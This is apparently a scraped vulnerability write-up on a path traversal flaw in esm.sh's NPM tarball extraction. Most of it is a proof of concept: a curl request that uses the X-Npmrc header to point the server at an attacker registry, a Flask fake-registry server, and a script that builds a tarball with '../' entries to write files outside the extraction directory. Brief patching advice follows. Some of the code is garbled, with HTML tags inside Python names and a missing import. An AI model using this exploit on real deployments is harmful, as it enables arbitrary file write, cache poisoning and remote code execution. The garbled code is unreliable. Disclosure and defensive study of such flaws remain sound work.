Listen to this Post
The vulnerability in esm.sh’s NPM package processing allows for arbitrary file write on the server via path traversal. The flaw exists in the `extractPackageTarball` function within server/npmrc.go. During tarball extraction, the code constructs the final file path by joining the package directory (pkgDir) with the filename from the tarball header (name). The function uses `path.Join(pkgDir, name)` which, while normalizing the path, does not prevent directory traversal sequences. If the `name` field contains a sequence like package/../../../../tmp/evil.js, the `utils.SplitByFirstByte` function strips the initial `package/` directory, leaving ../../../../tmp/evil.js. When this is joined with pkgDir, the resulting path escapes the intended extraction directory, leading to the file being written to an arbitrary location like /tmp/evil.js. This is exploitable because the `X-Npmrc` header can be used to specify a malicious registry serving a crafted tarball, bypassing official registry protections against such paths.
Platform: esm.sh
Version: (pre-patch)
Vulnerability: Path Traversal
Severity: Critical
date: 2024
Prediction: 2024-07-15
What Undercode Say:
curl "http://localhost:8080/[email protected]" -H 'X-Npmrc: {"registry":"http://attacker-registry:9999/"}'
docker exec esm-sh-container cat /tmp/pyozzi.js
fake-npm-registry.py
from flask import Flask, send_file
app = Flask(<strong>name</strong>)
@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
return send_file("malicious.tgz")
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=9999)
create_tarball.py
import tarfile
def create_malicious_tarball():
with tarfile.open("malicious.tgz", "w:gz") as tar:
info = tarfile.TarInfo(name="package/../../../../tmp/pyozzi.js")
info.size = len(b"malicious_code")
tar.addfile(info, io.BytesIO(b"malicious_code"))
create_malicious_tarball()
How Exploit:
Craft malicious tarball.
Host fake registry.
Trigger via X-Npmrc.
File written outside.
Protection from this CVE
Validate tar paths.
Sanitize filenames.
Restrict X-Npmrc registries.
Use secure joining.
Impact:
Arbitrary file write.
Supply chain compromise.
Remote Code Execution.
Cache poisoning.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
